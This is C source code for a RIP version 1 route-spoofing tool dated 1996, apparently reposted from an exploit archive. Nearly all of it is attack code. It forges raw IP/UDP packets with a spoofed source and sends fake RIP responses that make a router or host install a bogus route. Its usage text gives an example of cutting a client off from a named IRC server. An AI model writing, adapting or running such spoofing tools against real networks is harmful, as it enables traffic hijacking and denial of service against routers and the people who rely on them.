
[ http://www.rootshell.com 11/24/97 ]

/*
 * RIP (Routing Information Protocol) Version 1 Spoofer
 *
 * (C) 1996 Kit Knox <kit@connectnet.com>
 *
 * Example usage:
 * rip 1.1.1.1 2.2.2.2 3.3.3.3
 *
 * This would tell machine/router 2.2.2.2 to add a route for 3.3.3.3
 * with a gateway of 1.1.1.1
 *
 * If the box is a UNIX machine, it must be running gated/routed.
 * Many other normal routers support RIPV1 as well (Cisco, Ascend,
 * Livingston, etc)  Mileage may vary.
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <linux/udp.h>
#include <netinet/protocols.h>
#include <netdb.h>
#include <protocols/routed.h>
#include <linux/route.h>

#define err(x) { fprintf(stderr, x); exit(1); }
#define errs(x, y) { fprintf(stderr, x, y); exit(1); }

/*
 * in_cksum --
 *  Checksum routine for Internet Protocol family headers (C Version)
 */
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}

/* Send faked UDP packet. */
int sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport)
struct sockaddr_in *sin;
unsigned short int s, datalen, sport, dport;
unsigned long  int saddr, daddr;
char *data;
{  
  struct iphdr  ip;
  struct udphdr udp;
  static char packet[8192];

  /* Fill in IP header values. */
  ip.ihl      = 5;
  ip.version  = 4;
  ip.tos      = 0;
  ip.tot_len  = htons(28 + datalen);
  ip.id       = htons(31337 + (rand()%100));
  ip.frag_off = 0;
  ip.ttl      = 255;
  ip.protocol = IPPROTO_UDP;
  ip.check    = 0;
  ip.saddr    = saddr;
  ip.daddr    = daddr;
  ip.check    = in_cksum((char *)&ip, sizeof(ip));

  /* Fill in UDP header values. Checksums are unnecassary. */
  udp.source = htons(sport);
  udp.dest   = htons(dport);
  udp.len    = htons(8 + datalen);
  udp.check  = (short) 0;

  /* Copy the headers into our character array. */
  memcpy(packet, (char *)&ip, sizeof(ip));
  memcpy(packet+sizeof(ip), (char *)&udp, sizeof(udp));
  memcpy(packet+sizeof(ip)+sizeof(udp), (char *)data, datalen);

  return(sendto(s, packet, sizeof(ip)+sizeof(udp)+datalen, 0,
         (struct sockaddr *)sin, sizeof(struct sockaddr_in)));
}

/* Lookup the name. Also handles a.b.c.d dotted quads. Returns 0 on error */
unsigned int lookup(host)
char *host;
{
  unsigned int addr;
  struct hostent *he;

  addr = inet_addr(host);	/* Try if it's a "127.0.0.1" style string */
  if (addr == -1) 		/* If not, lookup the host */
  {
    he = gethostbyname(host);
    if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
      return 0;

    bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list));
  }
  return(addr);
}

void
main(argc, argv)
int argc; char **argv;
{
  unsigned int saddr, daddr, rt_to_add;
  struct sockaddr_in sin;
  int s;
  struct rip rp;
  struct netinfo *ni = rp.rip_nets;
  /* Heh, a little wacky.. but it worked */
  register struct sockaddr_in *sin2 = (struct sockaddr_in *)&ni->rip_dst;

  if(argc != 4)
    errs("Usage: %s <source_addr> <dest_addr> <route>\n\nsource = bogus host on the same netmask as dest\ndest = actual router or host running RIP\nroute = target system\n\nExample: For stealth to remove client 1.2.3.4\n         rip 206.26.140.254 irc.stealth.net 1.2.3.4\n",argv[0]);

  /* Open raw socket. */
  if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
    err("Unable to open raw socket.\n");

  setuid(getuid());	/* back to real user, if suid root, for security */

  /* Resolve Addresses. */
  if(!(saddr = lookup(argv[1])))
    err("Unable to lookup source address.\n");
  if(!(daddr = lookup(argv[2])))
    err("Unable to lookup destination address.\n");
  if(!(rt_to_add = lookup(argv[3])))
    err("Unable to lookup route address.\n");

  sin.sin_family     = AF_INET;
  sin.sin_addr.s_addr= daddr;
  sin.sin_port       = 520;
  /* Fill in RIP packet info */
  rp.rip_cmd = RIPCMD_RESPONSE;
  rp.rip_vers = RIPVERSION; /* Must be version 1 */
  ni->rip_dst.sa_family = htons(AF_INET);
  ni->rip_metric = htonl(1);
  memcpy(rp.rip_nets, ni, sizeof(ni));
  sin2->sin_addr.s_addr = rt_to_add;
  if((sendpkt_udp(&sin, s, &rp, sizeof(rp), saddr, daddr, 520, 520)) == -1)
  {
    perror("sendpkt_udp");
    err("Error sending the UDP packet.\n");
  }
}
